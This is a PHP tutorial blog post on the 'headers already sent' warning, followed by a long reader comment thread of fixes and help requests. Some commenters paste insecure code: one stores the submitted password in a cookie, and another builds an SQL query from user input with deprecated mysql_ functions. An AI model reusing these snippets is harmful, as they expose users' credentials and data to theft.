Cannot modify header information – headers already sent
Posted by Quinn McHenry in PHP programming
This error message is commonly seen by programmers starting to use PHP. Understanding why this error occurs will help find the solution.
PHP handles lots of the work of generating web pages for you, without you even having to ask. A web page is composed of two parts, the header and the body.
When a coder makes a mistake in the manipulation or creation of the headers, this common php error is seen. Here is an example:
Warning: Cannot modify header information – headers already sent by (output started at /home/usr1/public_html/sent.php:42) in /home/usr1/public_html/includes/theme-header.php on line 12
The header is generally stuff that you don’t need to worry about, is generated automatically, and contains information about the page, the server, related cookies. The header information is important, but it is not typically seen by the user. Here are some examples:
Date: Mon, 10 Jul 2006 18:51:59 GMT
Server: Apache/2.2.0 (Unix) mod_ssl/2.2.0 OpenSSL/0.9.7g
Content-Encoding: gzip
Content-Type: text/html
Sometimes programmers want to change some of the header values. For example, if the PHP if generating XML output, the Content-Type should be changed to reflect this. Another common example is in redirecting the user’s browser to a different web page using the Location header element as described in this tech-recipes article.
The header must come first in the response from a web server and is separated from the body by one blank line. The reason this error occurs is that some part of the body of the web page has been sent to the user already when a request is made to set a header value. Because PHP simplifies many things for you, the problem may be hiding in plain site. Here are some guidelines for finding the problem:
1) Find the header() statement that is causing the problem. The error must be at or before this line.
2) Look for any statements that could send output to the user before this header statement. If you find one or more, change your code to move the header statement before them. Complex conditional statements may complicate the issue, but they may also help solve the problem. Consider a conditional expression at the top of the PHP script that determines the header value as early as possible and sets it there.
3) Make sure there is no white space outside of the php start and end tags. While a blank line before the <?php start tag may look innocent, when processed by PHP, it will turn into an echo statement printing out a blank line. This is a common culprit.
See the comments below as other people have figured out other specific solutions.
About Quinn McHenry
View more articles by Quinn McHenry
The Conversation
Follow the reactions below and share your own thoughts.



October 22, 2008 at 10:43 pm, Tim Glenn said:
Great this helped me out a bunch. I would also use these commands to help debug:
ini_set(‘display_errors’, true);
ini_set(‘display_startup_errors’, true);
error_reporting (E_ALL);
October 22, 2008 at 11:41 pm, elz said:
i am getting this error even though i dont have header() redirect code.
the lines that prints out the error are on my setcookie() events.
January 17, 2011 at 7:06 pm, rich said:
I’m having the exact same problem. No header() redirect code and the line involves my setcookie() function
October 22, 2008 at 11:45 pm, elz said:
thought i would add that my problem was easily fixable via the same methods as it is still technically the same issue – setting values after outputting.
just wanted to broaden the horizon on problems that generate this error output
October 23, 2008 at 12:00 am, Quinn McHenry said:
That’s great — thanks for sharing! I haven’t run into this before, but now that you point it out, it makes sense.
November 01, 2008 at 12:38 pm, Andrei said:
Thanks a lot for this post!
#3 solved my problem!
August 16, 2012 at 8:50 am, nathan said:
> Hi, I have a the same issu on a site that I am deploying to dev site, how do I solve this problem, It works fine on localhost, but the moment i transferred my files over it gave this error.
November 06, 2008 at 6:33 pm, Adrian Angelov said:
Well, thank got I ran on this post.
I have had this problem, however, no white spaces or whatsoever prior and this was not working as expected.
The issue turned out to be that the file was a UTF-8 encoded file with BOM signature. This was causing the file header to be transferred prior the content has been processed, and therefore I have had the cannot modify headers error.
Please check your files encoding as well as if it seems to you there is no error in your script.
March 19, 2009 at 8:55 am, MetalGarurumon said:
Thanks! It works now
))
May 08, 2009 at 4:07 pm, the Jim Gaudet said:
U DA MAN… Removing DOM fixed it…
May 27, 2009 at 10:56 pm, mark said:
Uh, yeah, that’s nice, but….
what if you need your PHP file to be UTF8 because you need non-ANSI characters in your script defined strings?
My UTF8 .php file works fine on Windows 5.2.5, but barfs on a linux build of same version.
Sigh.
June 04, 2009 at 9:49 am, Anonymous said:
UTF-8 should work fine on any OS. It’s the BOM (Byte Order Mark) that causes the problem, but since UTF-8 always has the same byte order it doesn’t need a BOM. See http://unicode.org/faq/utf_bom.html#bom5
January 14, 2010 at 12:18 pm, webPavulon said:
Dude. I was iritaded when this thing happend and i had no idea why this error occures. Really big thanks for this tip. It looked like there was some echo or other stuff, but in code there wasn’t enything. Thnaks again.
July 24, 2010 at 12:55 pm, Reza said:
it works good.
thanks a lot
August 29, 2010 at 4:05 pm, NoahY said:
Yes, that did it
change encoding to “None” and the problem goes away.
March 11, 2011 at 6:19 pm, Cameron St.Michael said:
This may be old, but I wanted to say this was the ONLY place I found this solution, and it WORKED!! I’d been working on getting headers right for a mobile site, and headers wouldn’t work. This solved it! Hope this leads other people with PHP header problems in the right direction!
May 08, 2013 at 2:10 pm, lilmoma90 said:
Hello ANYONE PLEASE…I am not computer savy like that at all. Can somebody please walk me through the steps one by one. I was turning videos into mp3s and got these same messages. I dnt even know where to start and or what any of this means. Plzzzzzzzzz help me
>
March 30, 2011 at 12:03 am, Gonzalo said:
Yeeehaaaaa man… thanks a lot!!!!!
June 23, 2011 at 10:03 pm, Franz-josef Behr said:
Incredible that this problem was caused by the BOM byte….
July 20, 2011 at 1:26 pm, Ioncintea said:
Could someone tell me what is wrong with that code
Hello world!
April 23, 2012 at 11:17 am, Savvy Lounge said:
wrt Franz-josef Behr: lol I think you should write the complete script PHP lines of codes into brackets or inverted commas, not sure; I thnk your code’s generating the php here
Take Care !
PS: nice article btw, keep it up !!
July 26, 2012 at 12:30 am, Oz said:
> Thank you!!!!!
November 08, 2008 at 10:28 pm, Affordable Web Design said:
Good advice thanks for the post
November 10, 2008 at 6:08 pm, P M said:
Very informative article. It was the blank line that was my problem. This article clearly explains subtle issues.
Thanks
November 13, 2008 at 12:40 am, Packing Machines said:
I had the same problem. the congif-sample file is having two empty lines at the end and they were causing trouble.
Take care
Problend
December 12, 2008 at 9:33 am, charlitos said:
sigh , my god my I knew about the problems with the header since a long time ago, Ive been using PHP for years but today I just couldtn find what was wrong with mine, my header was on top of my page, no echos, everything seemed so clean…then I googled this and there you go, a single space was messin it up, this is exactly how my code was
all i had to do was
can you not the difference? i couldnt either
December 18, 2008 at 6:36 am, Jon said:
This had me pulling my hair out for hours today.
I had all my php code before the HEAD without any whitespace. (you can’t imagine how many times I pressed the delete key trying to get rid of white space that wasn’t there
Anway, the culprit was that Dreamweaver saved the .php file as as a UTF-8 format file (I had renamed it from a UTF .html file .. so it’s really my fault).
When a .php file is saved as UTF it inserts a line break before everything, but it will be invisible in Dreamweaver.
What you have to do is open the .php file in notepad, and ‘Save as’ ANSI.
And now, you’re good to go!
March 12, 2010 at 2:51 pm, Rajesh said:
Thanks So much.
I almost spent my 40 hrs on this. Lot many forums has mentioned to remove whitespace but no one has mentioned what you have suggested (Opening file in notepad and saving in ANSI format).
Thanks again.
May 05, 2011 at 7:30 am, cax said:
thanx dude…easy solution
July 12, 2010 at 3:22 pm, Tom Eagles said:
brilliant thx,
August 01, 2010 at 9:31 pm, Surendra said:
I have been working in php for last 4 years and i have resolved this error so many times using ob_start() or removing the spaces.But first time i was stuck to this situation for more than 2 hours and finally resolve this issue by saving file in notepad.
Thanks alot.
January 18, 2009 at 11:24 am, Chris said:
Thanks!
February 03, 2009 at 11:21 am, Fr said:
Strange issue, I’ve removed header completely from html, actually, completely tags, and only with
then it is working properly.
I’ve got a line with echo before the header, and got the same warning – Cannot modify header information – headers already sent.
This is happening on a linux environment, on windows (+Apache+mysql) I’ve got no such a messages, well, I didn’t compared those two php.ini properly.
Anyway, thanks for help.
February 03, 2009 at 3:43 pm, Klaus said:
Thanks, helped me a lot.
Amazing what some additional unnoticed whitespace can cause havoc
sometimes.
February 06, 2009 at 3:04 pm, Dan said:
It did work! Colour me amazed! Ta!
February 19, 2009 at 4:36 pm, Sachin said:
hi
please help me.. please please please.
please take a look at the following script:
it is giving the following errors
—————————————————————————————
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/compkcom/public_html/cmpanel/check_login.php on line 11
Warning: Cannot modify header information – headers already sent by (output started at /home/compkcom/public_html/cmpanel/check_login.php:11) in /home/compkcom/public_html/cmpanel/check_login.php on line 19
—————————————————————————————
here goes the php script
—————————————————————————————————-
:
—————————————————————————————————-
this script is running fine on my local windows server but giving the above mentioned errors on my linux hosted server..
Please help me…
Thanks..
February 19, 2009 at 6:15 pm, Quinn McHenry said:
Your database query may not be returning a valid result. It’s good practice to make sure the result returned from your mysql_query command is valid.. something like:
if (!$result) {
die(‘Invalid query: ‘ . mysql_error());
}
Dumping the error message may help in this case, too.
Good luck!
February 25, 2009 at 5:49 pm, dave said:
wwwwwwwwwwwwwoooooow thanks sir problem solved,, stupid white space
February 26, 2009 at 12:55 pm, dominic said:
This helped me to some my problem. Where i was trying to generate a xml file using php.
Thanks
February 26, 2009 at 1:33 pm, Fr said:
Actually, there are some solution, problem is well documented on link:
http://php.net/manual/en/function.header.php
It is related to earlier versions of PHP, or to setup in php.ini
I’ve put on the very first line:
Now, everything works fine, i-e you can have more than one header in your code.
March 16, 2009 at 7:41 am, RORO said:
This did it! THANKS SO MUCH!! Nothing else worked and I tried it all!
November 03, 2010 at 3:17 pm, GUTH2 said:
YOUR WELCOME
August 21, 2009 at 8:32 am, Anonymous said:
Gre8!! i’ve been tryin to solve this prob from the early morning.everything works fine now:D:D:D 1000x
December 07, 2009 at 12:20 pm, Anonymous said:
just great…
i am new to php
and i was trying this script and tried everything without solving the problem
i don’t now what that does but it worked
thnks
I would love to change the world, but they just won’t give me the source code!!!
May 06, 2010 at 4:04 am, Nova said:
oh! its worked!!! last 2 days i m trying to get rid of “header sent” problem.. but your solution just worked like magic… thanks a lot
August 11, 2010 at 7:04 am, Captain Marvel said:
Dude, you saved my bacon. Working on a Thematic child theme and got this error out of the blue (had long since saved changes made to functions.php). Had read this solution elsewhere, but was afraid to mess with the code. I took the plunge. It worked. Thank you!
October 09, 2010 at 7:47 pm, nafri said:
very recommended solution, work for me, thanks.
April 23, 2009 at 10:14 pm, manuel said:
how can modify display_error in php script ?
April 28, 2009 at 7:52 am, Lito said:
Warning: Cannot modify header information – headers already sent by (output started at /home/misaghi/public_html/config.php:47) in /home/misaghi/public_html/login_process.php on line 79
April 28, 2009 at 8:07 am, IMQ said:
this error will be thrown if u have any white spaces or any print or echo above header call.
There should be no print , no echo and no spaces before or after header statement.
May 14, 2009 at 12:14 pm, Anonymous said:
thnks………
i have been working on the same for the past 5 days……….. the error i had was a space before PHP tag..
May 17, 2009 at 11:59 am, Andy said:
Legendary stuff… this article just saved my sanity. A white space after the close php tag in an ‘include’ file caused my hours of frustration.
Thank you!
June 06, 2009 at 3:19 am, neoniflor said:
That was fun….. whitespace really where a problem… thanks
June 11, 2009 at 4:59 am, Mithus said:
That really great….thanx…..sooo mch….
June 11, 2009 at 7:47 pm, Jamie said:
Ugh. Of course!! My problem was, as you said, hiding in plain site. I was echoing a file upload verification right before calling header(), and I didn’t even notice it.
Thanks for the easy instructions!
June 19, 2009 at 3:07 pm, Leandro said:
I had an include with two blank lines after the ?> in that include… I deleted those blank lines and It works perfectly!
Thanks!
June 20, 2009 at 11:41 am, dinesh said:
Make sure there is no white space outside of the php start and end tags
This is really a culprit.
Thanks for help.
June 28, 2009 at 12:40 pm, Emmanuel Afonrinwo said:
Thanks a lot, after reading and carefully looking through the codes paying attention to your advice theproblem was resolved.
July 02, 2009 at 8:43 pm, Charlies said:
I am not getting this error on my local PC, but when I upload the scripts to the hosting provide I get this error. How can I set my local machine to display the same error
Cheers
July 22, 2009 at 12:12 pm, aneesniittech said:
hi,
you can solve the problem of “Header already sent” by removing all print and echo statements.
If its still does not work add ob_start() at the start of your file.It will work
June 05, 2012 at 11:28 am, Happy Dood said:
Almost 2 weeks later after going into and out of all php files removing white spaces.
Changing Editor…checking for white spaces again…..
Adding ob_start() did the trick!!!!!!!!!
Thank you so much!
August 19, 2009 at 3:26 am, Alla said:
I love you.
I had white spaces in my include files.
Hours upon hours of frustration and headaches.
Thank you.
July 30, 2012 at 2:43 pm, meme said:
hi, am quite new to programming, am having the same error “Warning: Cannot modify header information – headers already sent by……”
ave not yet managed to solve this error even after going thro’ the posts, ave looked for the whitespaces but they aint there, am using dream weaver as my text editor, any help pliz
September 06, 2009 at 5:36 am, RS said:
that does NOT always work… (white space solution that is)…
this error can be for different reasons….
December 02, 2009 at 1:03 pm, Alex said:
in php.ini file:
>output_buffering = 4096
It’s works!
>output_buffering = On
It’s bad!
March 04, 2011 at 7:54 pm, Ddbhp said:
This solved my issue!! Obviously I need to study this php.ini and see what other magic can be controlled here
THANKS!!!
September 12, 2009 at 2:13 pm, AffiliIt Reviews said:
Thank you very much for your blog post. I was putting together a header redirect script that was more complicated that simply redirecting to one site. When it started erroring out, I thought what I wanted to do was not possible. I read another persons forum post about white space and it was unclear what he was exactly talking about. After reading your post I understood that the problem was with whitespace *outside* the php tages (whitespace on the html page). Thanks a lot for your help
September 15, 2009 at 3:12 pm, anant tiwari said:
above one is my index.php
and i m trying to redired to zodia.php
here what could be the problem
say i m just redirecting and nothing else
September 15, 2009 at 3:18 pm, anant tiwari said:
Ah….!
I got the problem,.. anyway thanks for all
September 15, 2009 at 3:18 pm, anant tiwari said:
Ah….!
I got the problem,.. anyway thanks for all
November 03, 2010 at 2:13 pm, GsfurfA said:
good for you
September 23, 2009 at 6:34 am, Ivan said:
Thank You!!!!
October 11, 2009 at 10:43 pm, amir said:
I owe you a kiss !!!
Thanks for the post
November 03, 2010 at 2:14 pm, Guth said:
than give me one
October 23, 2009 at 5:02 pm, Anonymous said:
This article helped me bunches. Thanks.
November 02, 2009 at 6:24 am, Paul said:
Thanks, I just had this problem, and your post solved it! I am a php newb, I almost had to reinstall my whole site.
November 06, 2009 at 8:50 am, Anonymous said:
call ob_start(); function at the start of function,It will turn output buffering on, n no output will sent from script.
November 19, 2009 at 3:14 pm, katy said:
Jon I want to kiss your feet. I changed my file to ANSI and not UTF-8 and it works! Brilliant. I love you!
November 03, 2010 at 2:26 pm, Uth said:
my feet aren’t clean but you can
December 01, 2009 at 2:56 pm, Kjarri said:
Grepping for a tag solved it for me;
kjarri@hel:~/public_html/old_os$ grep -R “” *
includes/header.php:
December 05, 2009 at 2:22 am, Anonymous said:
I do this mistake (leaving a whitespace commonly) while I just beginner…
December 10, 2009 at 7:30 am, Vijendra Mishra said:
Nice Help Thanks it’s really great
December 15, 2009 at 12:17 pm, Anonymous said:
Thanx a lot. I was strugling for hours to solve this redirect problem. I just put that line as the 1st line of the code block. It worked
Thnk u very much dear
December 16, 2009 at 2:31 am, Mohsin Shah said:
Thanks, tip number 3 saved my day
December 25, 2009 at 7:52 pm, netsuke said:
Thanks. Erased ?> and works like a charm.
June 21, 2010 at 4:54 am, ML said:
I’m new at this and erased ?> on a php file i messed with. No idea why it worked but it did and the warning message is gone.
thanks
January 19, 2010 at 1:16 pm, Anonymous said:
Not sure if this has been said already, but it’s well worth checking any inclued PHP files too. I.e. I have some MySQL config files included at the start of a login script. One of those had a white line after the ?> This was causing this problem.
I found it easy to miss these includes first time round.
January 26, 2010 at 3:38 pm, Anonymous said:
yess..
thx you,,
its solved now
January 28, 2010 at 4:00 am, brandon said:
this solved my problem THANK YOU!!!
February 03, 2010 at 2:47 am, Anonymous said:
thx bro
February 05, 2010 at 8:30 am, Nawedita said:
Thanks…..i solve my problem by this site.
Good Job
February 07, 2010 at 3:46 pm, Anonymous said:
hello guys, i have a little problem with my php script. i use a PHP Validation for a form take a look at this good and maybe you can help me to solve my problem.
This message I received when I press submit
” Warning: Cannot modify header information – headers already sent by (output started at /home/xxx/public_html/accounts/index.php:27) in /home/xxx/public_html/accounts/index.php on line 62″
————
On line 27 in index.php is:
Login to continue to the desired page
————-
On line 62 in index.php is:
header(‘refresh: 0; url=/required_page.php’);
————-
This is the php script
I would be happy if someone could help me!
March 13, 2010 at 1:58 pm, Anonymous said:
Very good and simple. Found header() and found my problem. Thanks
March 24, 2010 at 8:39 pm, Higor Câmara said:
I loved this post and comments too. For months I looked to solve many errors like:
Warning: Cannot modify header information – headers already sent by
and
Warning: session_start() [function.session-start]: Cannot send session cache limiter – headers already sent
THE SOLUTION:
In DW CS4 uncheck the Include Unicode Signature (BOM) by pressing CTRL+J: Page Properts > Title/Codification, save the page and no problem more…….
-
April 24, 2010 at 3:21 pm, Anonymous said:
PHP – Warning: Cannot modify header information – headers already sent by
php header problem.
header(‘Location: http://www.php.net/‘);
cannot redirct webpage.
XAMPP PHP: 5.2.9
you must open php.ini (C:xamppphpphp.ini)
find
output_buffering = off
change
output_buffering = 4096
restart xampp.
OK.
PHP de header komutu ile sayfa yönlendiremiyorum.
XAMPP PHP: 5.2.9 kullanıcısıyım.
C:xamppphpphp.ini dosyasında
output_buffering = off
değerini
output_buffering = 4096
değiştirdikten sonra xampp yeniden başlattım.
Sorun çözüldü.
June 08, 2010 at 7:27 pm, Mike Bobbitt said:
One more possibility that hasn’t been mentioned… if your code has a flush() anywhere in it, that may cause this problem. In this case, the output buffer is flushed and no more changes can be made to your header.
I’ve been using a menu script which flush()ed and was causing this problem, so while “my” code wasn’t a problem, you may need to check all included code too.
July 02, 2010 at 12:48 am, Sherbertfiddler said:
Beware of include files! They could have extra lines after your closing php tag. This was the culprit in my case.
July 04, 2010 at 2:41 am, Mia said:
I cannot for the life of me believe that an unnoticed simple white space could cause such an error ! I encountered this issue when I installed a php script within my functions.php & I was pulling my hair out – then I took a long deep breath and decided to look for a solution – I could not have imagined that this would have resolved the issue ( I was quite skeptical at first ) then I gave it a try and it DID work !
)
Thank you very much – ( and my hair thanks you as well
M
July 04, 2010 at 11:37 am, Anonymous said:
Glad we could help!
July 19, 2010 at 7:17 am, chitvendra said:
July 20, 2010 at 8:25 am, Skssumit744 said:
$b){ $body .= sprintf(“%20s: %sn”,$b,$_REQUEST[$a]); } $headers2 = “From: Thanks@elxireit.com“; $subject2 = “Thank you for contacting us”; $autoreply = “Thank you for contacting us. We will get back to you as soon as possible”; if($from == ”) {print “You have not entered an email, please go back and try again”;} else { if($name == ”) {print “You have not entered a name, please go back and try again”;} else { $send = mail($to, $subject, $body, $headers); $send2 = mail($from, $subject2, $autoreply, $headers2);if($send) {header( “Location: http://www.elxireit.com/thankyou.html” );}else{print “We encountered an error sending your mail”; } } }?>
July 20, 2010 at 8:26 am, Skssumit744 said:
i have recive this error..
July 20, 2010 at 8:26 am, Skssumit744 said:
Warning: Cannot modify header information – headers already sent by (output started at /home/elxireit/public_html/contactus.php:8) in /home/elxireit/public_html/contactus.php on line 8
July 29, 2010 at 6:54 am, Sunny aggarwal said:
u ppl r genious…..i gt many 4m ur lil description…thx…
August 18, 2010 at 9:14 am, Jayvee_chua said:
thanks so much for this article!!! didn’t realize that the blank line above the header() is the one causing the error.
August 31, 2010 at 10:15 pm, Kieron said:
Woops, heres my error
Warning: Cannot modify header information – headers already sent in C:xampphtdocsoneillglasscmsnews_edit.php on line 55..
September 01, 2010 at 4:22 pm, Kieron Keenan said:
None of the above solutions (white space, ob_start_, BOM, open in notepad etc etc) fixed my warning code but I (with help from tutor) found another way to fix this so hopefully this will help if you have tried every other solution. Here was my warning:(Warning: Cannot modify header information – headers already sent in C:xampphtdocs######cmsnews_edit.php on line 55)So at the top of my page Dreamweaver had inserted this code:I am working in a LAMP environment locally and I think Apache or something was not reading the VIRTUAL properly. Something like that anyway, I’m new to PHPSo the fix was to change the virtual to a include:(you might not need the ‘../’ part)Save it and hope for the best!This fixed mine after spending hours trying to fix it.Hope this helps someone out!Kieron.
September 10, 2010 at 12:59 am, Tiyo Kamtiyono said:
After taking care about the white space (point 3) I still can not view my RSS which syndicated by feedburner, but on my own blog, all the things looks like what it should be, thanks for this tips,
September 13, 2010 at 11:14 am, Wpko said:
qmchenry : Thanks you too much, the two extra lines after ?> php closing tag, give us a lot problem. your article help us.
October 06, 2010 at 4:44 pm, Rajnikant12345 said:
Thanks buddy, it worked and I learned a new thing .
October 07, 2010 at 5:27 am, Anne Shiever said:
How do I fix this? When I go to the login page of my site this error message shows above the login… Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 337
When I try to put my login and password in to enter the site, I get this message listed below but I can not enter my site at all to attempt to fix anything! Please help me!
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 337
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-login.php on line 349
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 690
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 691
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 692
Warning: Cannot modify header information – headers already sent by (output started at /home/andre152/public_html/afreshentertainmentmagazine.com/wp-content/themes/FlexxSensation/lib/flexlayout.php:2) in /home/andre152/public_html/afreshentertainmentmagazine.com/wp-includes/pluggable.php on line 890
October 20, 2010 at 12:46 pm, cgal said:
I replaced headers (‘location:xxx.php’); with a javascript and there was no problem thereafter… it may not be the best solution, but it is one that works!
October 24, 2010 at 1:16 am, Jack said:
Great tip qmchenry! That fixed the problem for me. I never knew the closing tag wasn’t necessary.
November 05, 2010 at 3:11 pm, Web Site Helper said:
The output_buffering = 4096 fixed it for me AFTER I made a change so my php.ini file changes would be recognized. I am hosting this on GoDaddy and had them install the latest php 5. They told me that php5 does not use php.ini. Instead, it uses php5.ini — but the fix is easy — all you have to do is rename php.ini to php5.ini. After I did that, it recognized my change and the warning message went away. Thanks for ALL THE WONDERFUL HELP here.
November 07, 2010 at 3:27 pm, Robdavidsalmon said:
Just used this article and the associated comments to solve my “header already sent” problem. Thanks. It’s good and rare to see such a well written explanation accompanied by such mature comments. Thanks to you all I still have a full head of hair and a happy boss!
November 07, 2010 at 8:59 pm, Anonymous said:
Thanks for the kind words. We have a pretty neat little community here.
November 11, 2010 at 4:40 pm, Derek said:
You’re a genius! Thanks so much.
December 02, 2010 at 12:09 pm, technology guru said:
hiya
i got an easy solution for it… u check that are u calling header() function wrong
December 10, 2010 at 12:26 pm, Torsten Dreier said:
Worked for me. Thanks
December 14, 2010 at 7:53 am, Rahmadhany T said:
one more,
delete blank lines on your script!
December 14, 2010 at 7:55 am, Rahmadhany T said:
i mean point no.3.
January 03, 2011 at 5:18 pm, Nniesen said:
Add this to the top of your code:
ob_start();
January 05, 2011 at 2:14 am, Chenzhou_liufaming said:
thanks
January 17, 2011 at 7:59 pm, rich said:
Good grief! 2 hours of my life lost!
I added to the top of my code:
ob_start();
And did NOT add ob_flush(); to the bottom. This gave me the same error except that the line number shifted to the ob_flush(); line.
I’m going to go take a nap now.
January 17, 2011 at 8:01 pm, rich said:
Oh, and what didn’t work for me was:
1. deleting whitespace or
2. saving my php file in ANSI format using Notebook.
3. deleting the ?> at the end of my php file
4. deleting whitespace at the end of my php file and all included files.
January 17, 2011 at 8:05 pm, rich said:
also, I didn’t have this error using PHP version 5.4.3.0, which was the EasyPHP on my local Windows computer.
But when I transfered my code to my Linux server, which uses PHP version 5.3.2, I got the error message. *shakes fists*
February 01, 2011 at 5:43 am, Sendilrr said:
I have corrected this error. please include ob_start(); in your connection file.
February 01, 2011 at 5:45 am, Sendilrr said:
please include in your top of the file and please include in your bottom file;
February 02, 2011 at 3:43 pm, mrm said:
I’m having the same problem here is my code:
February 14, 2011 at 6:51 am, Neo said:
thanks
February 20, 2011 at 7:04 pm, Muhammad Farooqi said:
OOH.. myGod.. excellent man…
March 04, 2011 at 2:30 am, Darisx said:
Thanks, I have been solved header() problem.
March 13, 2011 at 6:30 am, Jclark_4321 said:
Wow. I honestly cannot thank you enough for this. I somehow got a space before my opening
March 22, 2011 at 1:18 pm, Todljd said:
not too bad
March 26, 2011 at 9:03 pm, Jamescb0 said:
Thanks for that… removed the “HTML DOCTYPE” statement at the very top and all working now.. cheers
March 26, 2011 at 10:34 pm, Dan said:
Removing BOM using notepad ++ fixed. I am so pissed off, why isn’t this information more obvious? Irritating as hell.
April 03, 2011 at 11:21 pm, jerry said:
I had the same error but realized that i was echoing some variables (for testing purposes) to the screen right before I was redirecting to another page. I got rid of the echo lines, and got rid of the error.
May 30, 2011 at 10:02 am, Zory said:
Had the same thing – spent ages looking out for spaces in all my included php scripts and eventually deleted testing ‘echo’ line just before sending headers – and it solved the issue. God, I wish i did it straight away, havens, I spent smth like 2 hrs to solve it!
April 09, 2011 at 8:15 am, Arpan02paliwal said:
Its too useful….
April 23, 2011 at 4:56 pm, Andris Ratnieks said:
Thanks! This helped!
June 28, 2011 at 11:45 pm, eden said:
same thing.. IDK what to do
July 04, 2011 at 4:52 pm, im php nppb said:
BILLION TONS OF THANK YOU . . . .i loose ALL MY DAY
thank you thank you thank you
August 10, 2011 at 8:36 am, Mgfrias said:
OMG!!! I spent about an hour figuring out what was wrong with my code and it’s the white space (one single space) before the
August 13, 2011 at 7:09 pm, Truby said:
I’m facing the same problem, when i execute my log in code, the following error is displays
Warning: Cannot modify header information – headers already sent
by (output started at
/home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 173
Warning: Cannot modify header information – headers already sent
by (output started at
/home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 174
Warning: Cannot modify header information – headers already sent
by (output started at
/home/excell25/public_html/uop/client-sign-in.php:7) in /home/excell25/public_html/uop/client-sign-in.php on line 183
code from line 173 to 183-
setcookie(‘ID_my_site’,$_POST['mail'],$hour);
setcookie(‘Key_my_site’,$_POST['password'],$hour);
?>
August 13, 2011 at 7:11 pm, Truby said:
code from line 173 to 183-
setcookie(‘ID_my_site’,$_POST['mail'],$hour);
setcookie(‘Key_my_site’,$_POST['password'],$hour);
require(“client-sign-in/log_client.php”);
if($info['active']==1)
{
header(“location:clients/index.php”);
August 14, 2011 at 4:27 am, Truby said:
How to remove DOM? I ‘m new to it. Please help!
if my file is a UTF-8 encoded file with no BOM signature, will i get the error?? how can i change it?
August 14, 2011 at 4:34 am, Truby said:
I dint add any DOM elements…
September 27, 2011 at 6:47 pm, Shan said:
Thanks ob_start(); is a magic
October 12, 2011 at 4:34 am, 2Cool said:
Point number 3 was the main cause. There a single space at the end of the PHP file which caused tremendous amount of frustration.
Thanks a lot.
October 13, 2011 at 10:00 pm, Klamber|ext. said:
Thank’s to Adrian Angelov i found out that some of my files were encoded with
utf 8 BOM and gave me header error. I was going nuts …
Already was thinking to go to bed… and see if that helped
Thanks again!
October 14, 2011 at 6:37 am, alvin said:
For me I was following a tutorial on adobe website and if your like me having the same problem of header.. go in manage site switch from links relative to site to relative to documents. Regenerate any server behaviours and try your new webpage. It should fix it. I noticed now my page have
November 15, 2011 at 3:58 pm, Treasure said:
Hello here…my case is a bit different, mine is working perfectly on local server, but not working giving me the error when uploaded, I have cleared all the white spaces, I have changed the my header location making sure is not after echo or print, can somebody help me here?
I have been on this for some times.
November 26, 2011 at 12:23 am, chudnut said:
i’ve made plugin for wordpress
and i don’t know why my code makes wp fail to redirect
error same as above
thanks for sharing this articles
it helps me a little
January 15, 2012 at 3:25 am, wp lovr said:
Thank you so much.. it works.. I guessed it such as a complicated problem but truly it is just simple problem, I fixed it by deleting unnecessary lines in closing php tag…
January 28, 2012 at 4:20 am, AdamT said:
@aneesniittch is awesome. try this.
March 29, 2012 at 9:37 pm, MortgagesByMark said:
Props to John who posted on 12/18/2008. I didn’t realize my text editor was saving the file I was modifying as UTF-8. Once I did save as ANSI, the problem was resolved.
April 21, 2012 at 3:37 pm, Ryan said:
I’m completely dumbfounded by this issue that I’m having. This is the error that I’m getting…
Warning: Cannot modify header information – headers already sent by (output started at /home/rdrewniak1/webfiles/dmit271/assignments/final_project/admin/includes/admin-header.php:110) in /home/rdrewniak1/webfiles/dmit271/assignments/final_project/admin/products.php on line 92
So, if I’m understanding this right, I should be looking at admin-header.php at line 110 for any extra white space?
April 24, 2012 at 11:50 am, zeid said:
Thanks a lot for info
April 30, 2012 at 7:09 am, Denoz M. said:
Hi am not so much a professional at php still beginning and so far i have a few successes and this one is becoming a headache… any help will be appreciated… i have pasted the whole code below… someone please help
this is the error i get
Warning: Cannot modify header information – headers already sent by (output started at /home/afmakorg/public_html/dbs/loguser.php:1) in /home/afmakorg/public_html/dbs/loguser.php on line 76
$value) {
$get[$key] = filter($value); //get variables are filtered.
}
if ($_POST['Login']==’Login’)
{
foreach($_POST as $key => $value) {
$data[$key] = filter($value); // post variables are filtered
}
$user_email = $data['usr_email'];
$pass = $data['pwd'];
if (strpos($user_email,’@') === false) {
$user_cond = “user_name=’$user_email’”;
} else {
$user_cond = “user_email=’$user_email’”;
}
$result = mysql_query(“SELECT `id`,`pwd`,`full_name`,`approved`,`user_level` FROM users WHERE
$user_cond
AND `banned` = ’0′
“) or die (mysql_error());
$num = mysql_num_rows($result);
// Match row found with more than 1 results – the user is authenticated.
if ( $num > 0 ) {
list($id,$pwd,$full_name,$approved,$user_level) = mysql_fetch_row($result);
if(!$approved) {
//$msg = urlencode(“Account not activated. Please check your email for activation code”);
$err[] = “Account not activated. Please check your email for activation code”;
//header(“Location: loguser.php?msg=$msg”);
//exit();
}
//check against salt
if ($pwd === PwdHash($pass,substr($pwd,0,9))) {
if(empty($err)){
